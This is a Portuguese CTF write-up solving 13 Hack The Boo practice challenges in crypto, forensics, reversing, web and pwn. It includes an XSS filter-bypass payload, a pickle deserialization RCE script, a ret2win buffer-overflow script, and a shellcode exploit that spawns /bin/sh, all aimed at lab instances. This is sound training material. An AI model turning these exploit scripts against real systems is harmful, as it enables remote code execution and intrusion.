Neste ano, o Hack The Boo se dividiu em duas partes: Practice e Competition. Este write-up é sobre a Practice que apresentou 16 desafios de dificuldade fácil. Abaixo, você encontrará a resolução de 13 desses desafios que consegui concluir. Restaram apenas três: um de criptografia, um de reversão e um de web.
Crypto
Hexoding
Nesse desafio recebemos um arquivo script de python e um arquivo de texto com o seguinte conteúdo:
4854427b6b6e3077316e675f6830775f74305f3164336e743166795f336e633064316e675f736368336d33735f31735f6372756331346c5f6630725f615f
Y3J5cHQwZ3I0cGgzcl9fXzRsczBfZDBfbjB0X2MwbmZ1czNfZW5jMGQxbmdfdzF0aF9lbmNyeXA1MTBuIX0=
A primeira linha está codificada em hexadecimal e a segunda em Base64. Ao decodificar, obtemos as seguintes partes:
HTB{kn0w1ng_h0w_t0_1d3nt1fy_3nc0d1ng_sch3m3s_1s_cruc14l_f0r_a_
crypt0gr4ph3r___4ls0_d0_n0t_c0nfus3_enc0d1ng_w1th_encryp510n!}
Portanto, a flag é HTB{kn0w1ng_h0w_t0_1d3nt1fy_3nc0d1ng_sch3m3s_1s_cruc14l_f0r_a_crypt0gr4ph3r___4ls0_d0_n0t_c0nfus3_enc0d1ng_w1th_encryp510n!}.
SPG
Nesse segundo desafio de crypto recebemos um código de python e um arquivo de texto. O script gera uma senha baseada em uma master key e encripta a flag também utilizando essa master key. Por fim, a senha e a flag encriptada são escritas no arquivo de output.
def main():
password = generate_password()
encryption_key = sha256(MASTER_KEY).digest()
cipher = AES.new(encryption_key, AES.MODE_ECB)
ciphertext = cipher.encrypt(pad(FLAG, 16))
print(f'Your Password : {password}\nEncrypted Flag : {b64encode(ciphertext).decode()}')
O arquivo output.txt contém as seguintes informações:
Your Password : gBv#3%DXMV*7oCN2M71Zfe0QY^dS3ji7DgHxx2bNRCSoRPlVRRX*bwLO5eM&0AIOa&#$@u
Encrypted Flag : tnP+MdNjHF1aMJVV/ciAYqQutsU8LyxVkJtVEf0J0T5j8Eu68AxcsKwd0NjY9CE+Be9e9FwSVF2xbK1GP53WSAaJuQaX/NC02D+v7S/yizQ=
A senha é gerada a partir de uma master key, utilizando um alfabeto que inclui letras maiúsculas e minúsculas, dígitos e caracteres especiais. O algoritmo percorre cada bit da master key, escolhendo um caractere aleatório da primeira metade do alfabeto se o bit for 1, e da segunda metade se for 0.
ALPHABET = string.ascii_letters + string.digits + '~!@#$%^&*'
def generate_password():
master_key = int.from_bytes(MASTER_KEY, 'little')
password = ''
while master_key:
bit = master_key & 1
if bit:
password += random.choice(ALPHABET[:len(ALPHABET)//2])
else:
password += random.choice(ALPHABET[len(ALPHABET)//2:])
master_key >>= 1
return password
A questão aqui é que é possível deduzir a master key a partir da senha gerada, devido à relação direta com as partes do alfabeto em que cada caractere da senha se encontra. Além disso, como a geração da senha percorreu os bits da master key do menos significativo para o mais significativo, acabamos obtendo os bits invertidos, exigindo, assim, uma reversão. Adicionalmente, ao converter a master key de bytes para int, foi empregado o formato little endian, o que implica que, após obter os bytes da master key, é necessário realizar uma inversão adicional.
Agora que possuímos a master key podemos descriptografar a flag utilizando o mesmo algoritmos que foi usado para encriptar, nesse caso o AES no modo ECB. E quando a flag foi escrita no output ela foi codificada para Base64 então é necessário decodificar antes.
Por fim temos o seguinte script para obter a flag:
import string
from base64 import b64decode
from hashlib import sha256
from Crypto.Cipher import AES
from Crypto.Util.number import long_to_bytes
ALPHABET = string.ascii_letters + string.digits + '~!@#$%^&*'
senha = 'gBv#3%DXMV*7oCN2M71Zfe0QY^dS3ji7DgHxx2bNRCSoRPlVRRX*bwLO5eM&0AIOa&#$@u'
flag = 'tnP+MdNjHF1aMJVV/ciAYqQutsU8LyxVkJtVEf0J0T5j8Eu68AxcsKwd0NjY9CE+Be9e9FwSVF2xbK1GP53WSAaJuQaX/NC02D+v7S/yizQ='
masterKey = ''
for ch in senha:
masterKey += '1' if ch in ALPHABET[:len(ALPHABET)//2] else '0'
masterKey = masterKey[::-1]
masterKey = long_to_bytes(int(masterKey, 2))[::-1]
encryptionKey = sha256(masterKey).digest()
cipher = AES.new(encryptionKey, AES.MODE_ECB)
flag = cipher.decrypt(b64decode(flag))
print(flag)
Ao executar o script, a flag é revelada: HTB{00ps___n0t_th4t_h4rd_t0_r3c0v3r_th3_m4st3r_k3y_0f_my_p4ssw0rd_g3n3r4t0r}.
Forensics
Spooky Phishing
No desafio “Spooky Phishing”, recebemos um arquivo HTML que representa uma página de phishing. Dentro do código HTML, encontramos as seguintes linhas no início do corpo do documento:
<input class="li" hidden value="Njg3NDc0NzA3MzNhMmYyZjc3Njk2ZTY0NmY3NzczNmM2OTc2NjU3NTcwNjQ2MTc0NjU3MjJlNjg3NDYyMmY0ODU0NDI3Yjcz">
<input class="il" hidden value="NzAzMDMwNmI3OTVmNzA2ODMxNzM2ODMxNmU2NzVmNzczMTc0Njg1ZjczNzAzMDMwNmI3OTVmNzM3MDcyMzMzNDY0NzM2ODMzMzM3NDczN2QyZjYxNzA3MDJlNzg2YzczNzgyZTY1Nzg2NQ==">
Ao combinar os dois valores e decodificá-los, primeiro do Base64 e depois do hexadecimal, descobrimos uma URL que contém a flag HTB{sp00ky_ph1sh1ng_w1th_sp00ky_spr34dsh33ts}.
Bat Problems
Agora recebemos um arquivo batch (.bat) que define várias variáveis e, em seguida, concatena o conteúdo delas para formar um comando codificado em Base64. Esse comando é posteriormente executado no PowerShell.
Para resolver o desafio, usei o Hybrid Analysis, um serviço que fornece ambientes sandbox para executar e analisar arquivos maliciosos. Também poderia ter usado serviços semelhantes, como o any.run.
No relatório gerado pelo Hybrid Analysis, encontrei o comando que foi executado no PowerShell, que continha a flag: HTB{0bfusc4t3d_b4t_f1l3s_c4n_b3_4_m3ss}.
Vulnerable Season
No terceiro desafio de forense, fomos fornecidos com um arquivo de logs de um servidor web que continha mais de 11 mil linhas de registros.
Depois de analisar os logs é possível encontrar alguns que contém execução de comandos.
Sendo que o da linha 11477 contém o seguinte comando:
Nz=Eg1n;az=5bDRuQ;Mz=fXIzTm;Kz=F9nMEx;Oz=7QlRI;Tz=4xZ0Vi;Vz=XzRfdDV;echo $Mz$Tz$Vz$az$Kz$Oz|base64 -d|rev
Que executando no terminal retorna a flag HTB{L0g_@n4ly5t_4_bEg1nN3r}.
Reversing
CandyBowl
Esse desafio de reverse é bem simples. É um executável que ao rodar espera 3 segundos e retorna um doce aleatório de um vetor de strings.
Usando o comando strings conseguimos obter a flag HTB{4lw4y5_ch3ck_ur_k1d5_c4ndy}.
GhostInTheMachine
Já nesse reverse o programa apenas lê alguns bytes do /dev/urandom e imprime na tela. Fazendo um disassembly pelo GDB podemos ver que há uma função getflag antes do comportamento que podemos ver do programa.
Então eu defini um breakpoint na instrução que chama a função ghost pois assim já passou pela getflag. E assim ao ver a memória temos a flag HTB{ex0rc1s1ng_th3_m4ch1n3}.
Web
CandyVault
O CandyVault é um desafio de web que apresenta apenas uma página de login.
Olhando que código-fonte que é fornecido, encontramos que a aplicação utiliza um banco de dados não relacional, o MongoDB, e que a flag é exibida quando se faz login com sucesso.
...
client = MongoClient(app.config["MONGO_URI"])
...
app.route("/login", methods=["POST"])
def login():
...
elif content_type == "application/json":
data = request.get_json()
email = data.get("email")
password = data.get("password")
...
if user:
return render_template("candy.html", flag=open("flag.txt").read())
...
Dessa forma utilizando um payload de NoSQL Injection podemos bypassar a tela de login e obter a flag HTB{w3lc0m3_to0o0o_th3_c44andy_v4u1t!}.
Spook Tastic
Neste desafio, nos deparamos com uma página web na qual a única ação permitida é o envio de um email para se cadastrar na newsletter localizada no final da página.
Ao examinar o código-fonte em “app.py”, podemos observar que o email fornecido é validado somente se ele contém a palavra ‘script’, conforme o seguinte trecho de código:
def blacklist_pass(email):
email = email.lower()
if "script" in email:
return False
return True
Caso o email não contenha essa palavra, uma thread da função start_bot é criada. Esta função acessa a rota /bot e aguarda 3 segundos por um alerta na página. Quando um alerta é acionado, a função send_flag é chamada com o endereço IP do usuário como parâmetro.
def start_bot(user_ip):
...
try:
browser.get(f"{HOST}/bot?token={BOT_TOKEN}")
WebDriverWait(browser, 3).until(EC.alert_is_present())
alert = browser.switch_to.alert
alert.accept()
send_flag(user_ip)
...
A função send_flag simplesmente lê o conteúdo do arquivo “flag.txt” e o envia para todos os clientes conectados no websocket que tenham o IP fornecido como parâmetro.
def send_flag(user_ip):
for id, ip in socket_clients.items():
if ip == user_ip:
socketio.emit("flag", {"flag": open("flag.txt").read()}, room=id)
A página /bot é criada a partir de um template que renderiza todos os emails, e os caracteres não seguros são escapados usando o operador ‘| safe’.
{% for email in emails %}
<span>{{ email|safe }}</span><br/>
{% endfor %}
Para obter a flag, é necessário realizar um ataque de Cross-Site Scripting (XSS) para criar um alerta que não contenha a palavra ‘script’ no payload. Isso pode ser alcançado com o seguinte payload:
<img src=0 onerror=alert(0) />
Dessa forma, recebemos a flag HTB{4l3rt5_c4us3_jumpsc4r35!!} via websocket.
Spellbound Servants
Neste desafio, somos apresentados a uma tela de login, mas, diferentemente de outros desafios, aqui temos a opção de criar uma conta.
Após criar uma conta e fazer login, somos redirecionados para a página /home.
Ao examinar o código-fonte da aplicação, descobrimos que a validação do usuário na página inicial é feita por meio de uma função decorator chamada isAuthenticated. Essa função verifica o usuário com base em um objeto serializado passado por meio do cookie “auth”.
def isAuthenticated(f):
@wraps(f)
def decorator(*args, **kwargs):
token = request.cookies.get('auth', False)
if not token:
return abort(401, 'Unauthorised access detected!')
try:
user = pickle.loads(base64.urlsafe_b64decode(token))
kwargs['user'] = user
return f(*args, **kwargs)
except:
return abort(401, 'Unauthorised access detected!')
return decorator
Esse módulo pickle é vulnerável a execução de código durante a desserialização de objetos. Uma PoC para o exploit pode ser encontrada nesse artigo do exploit-notes.
Com base nessa PoC, foi criado um script Python que explora a vulnerabilidade de execução de código remoto (RCE) para inserir a flag em um arquivo acessível no servidor web e, em seguida, faz uma requisição para obter a flag.
import pickle
import base64
import os
import requests
class RCE:
def __reduce__(self):
cmd = ('cat /flag.txt > /app/application/static/flag.txt')
return os.system, (cmd,)
pickled = pickle.dumps(RCE())
payload = base64.urlsafe_b64encode(pickled)
url = 'http://94.237.53.58:44662'
r = requests.get(f'{url}/home', cookies={'auth': payload})
print(requests.get(f'{url}/static/flag.txt').content)
Ao executar esse script, a flag HTB{P1CkL3_15_f0R_SUP3R555!} é retornada.
Pwn
Lesson
Esse desafio é muito diferente dos outros pois é uma sequência de perguntas que devem ser respondidas certas para conseguir a flag. E há um ELF para baixar que as perguntas são baseadas nele.
[*] Question number 0x1:
Is this a ‘32-bit’ or ‘64-bit’ ELF? (e.g. 1337-bit)
>> 64-bit
[*] Question number 0x2:
Which of these 3 protections are enabled (Canary, NX, PIE)?
>> NX
[*] Question number 0x3:
What do you need to enter so the message ‘Welcome admin!’ is printed?
>> admin
◉ HINT: This is the buffer –> char name[0x20] = {0}; ◉
[*] Question number 0x4:
What is the size of the ’name’ buffer (in hex or decimal)?
>> 32
O valor 20 em hexadecimal pode ser convertido para 32 na base decimal.
◉ HINT: Only functions inside ‘main()’ are called. ◉
◉ Also, the functions these functions call. ◉
[*] Question number 0x5:
Which custom function is never called? (e.g. vuln())
>> under_construction
◉ HINT: Which function reads the string from the stdin? ◉
[*] Question number 0x6:
What is the name of the standard function that could trigger a Buffer Overflow? (e.g. fprintf())
>> scanf
[*] Question number 0x7:
Insert 30, then 39, then 40 ‘A’s in the program and see the output.
After how many bytes a Segmentation Fault occurs (in hex or decimal)?
>> 40
[*] Question number 0x8:
What is the address of ‘under_construction()’ in hex? (e.g. 0x401337)
>> 0x4011d6
Isso pode ser visto na penúltima imagem.
Ao responder essas 8 perguntas recebemos a flag HTB{pwn_101_w1th_s0m3_b0f}.
Lemonade Stand v1
Este desafio é uma exploração de buffer overflow. No binário fornecido, somos informados de que temos 12 moedas e podemos pedir uma limonada normal ou grande. Se inserirmos um valor diferente, o programa nos dirá que eles não vendem uvas. Ao escolher o tamanho da limonada, se tivermos moedas suficientes, elas serão deduzidas do total; caso contrário, o programa perguntará se queremos fazer um empréstimo, e se aceitarmos, ele solicitará um nome e sobrenome.
Usando o Cutter para decompilar o programa, podemos ver um “main” bastante simples que apenas chama o menu e as funções “buy” dependendo do tamanho escolhido.
A função “buy_large” verifica apenas se temos 5 moedas; se tivermos, as moedas são deduzidas, caso contrário, a função “save_creds” é chamada. “buy_normal” faz o mesmo, mas considera 3 moedas.
A função “save_creds” é a que oferece uma limonada grátis ao inserir um nome e sobrenome. No entanto, o buffer alocado para salvar o sobrenome tem 64 bytes, enquanto a função “read” que lê o sobrenome é passada como argumento 0x4a, o que significa que serão lidos 74 bytes.
Além disso, há uma função não chamada durante a execução normal do programa chamada “grapes”, que lê o arquivo “flag.txt” e imprime o conteúdo na tela. Essa função está no endereço 0x004008cf.
Para obter a flag, é necessário realizar um buffer overflow no array onde o sobrenome é armazenado, substituindo o endereço de retorno para o endereço da função “grapes”. Dessa forma, em vez de retornar à função “save_creds” após a leitura da entrada do usuário, o programa retornará ao endereço que especificamos.
O programa com a flag real é executado no servidor do Hack the Box, e temos o endereço IP e a porta para nos conectar. Após a conexão, é necessário solicitar uma limonada grande três vezes para gastar todas as moedas e, em seguida, chamar a função “save_coins”. Em seguida, passamos um nome e, ao inserir o sobrenome, inserimos 72 bytes aleatórios e o endereço da função “grapes,” preenchendo assim os 74 bytes lidos.
Aqui está o script em Python para realizar o que foi explicado acima:
import pwn
ip = '94.237.49.11'
port = 44822
r = pwn.remote(ip,port)
for i in range(3):
r.sendlineafter('>>', '2')
r.sendlineafter('>>', '1')
r.sendlineafter('name: ', 'lucas')
r.sendlineafter('surname: ', b'A'*72 + pwn.p64(0x004008cf))
print(r.recvall())
Ao executar esse script, obtemos a flag HTB{d0nt_45k_f0r_gr4p35_4t_4_l3m0n4d3_5t4nd}.
Magic Trick
Este último desafio de pwn também envolve a exploração de um buffer overflow. O binário fornecido possui a proteção NX desativada, mas o PIE (Position Independent Executable) ativado, o que significa que pode ser executado código na pilha, mas o endereço base vai mudar a cada execução do programa. O buffer da variável tem 64 bytes, mas, desta vez, estão sendo lidos 78 bytes.
Ao iniciar o programa, ele mostra o endereço para o qual precisamos retornar para executar o código. Esse endereço é lido e salvo em uma variável chamada “addr”. O código que será executado na memória é um shellcode que cria um shell “sh”, permitindo a execução de comandos.
Para criar o shellcode, foi utilizada a função do próprio pwntools, e o payload contém o shellcode, alguns NOPs (bytes 0x90, indicando à CPU para não fazer nada), e o endereço de retorno da pilha.
Após a execução do shellcode, uma shell é criada, e, em seguida, o comando ‘cat flag.txt’ é enviado para obter a flag.
Aqui está o script em Python para realizar o que foi explicado acima:
import pwn
ip = '94.237.59.206'
port = 42267
r = pwn.remote(ip,port)
r.recvuntil("is '")
addr = int(r.recvuntil("'")[:-1], 16)
r.sendlineafter('>> ', 'y')
pwn.context.arch = 'amd64'
shellcode = pwn.asm(pwn.shellcraft.execve('/bin/sh'))
payload = shellcode + b'\x90' * 35 + pwn.p64(addr)
r.sendlineafter('>> ', payload)
r.sendline('cat flag.txt')
print(r.recv())
Ao executar esse script, obtivemos a flag HTB{4br4_k4d4br4_sh3llc0d3}.
Com isso termino esse write-up. Foi um CTF bem divertido em que pude rever várias coisas que não estudava já fazia um tempo, por exemplo esses buffers overflow. Agradeço a toda equipe do Hack the Box por esse CTF e a você que leu até aqui.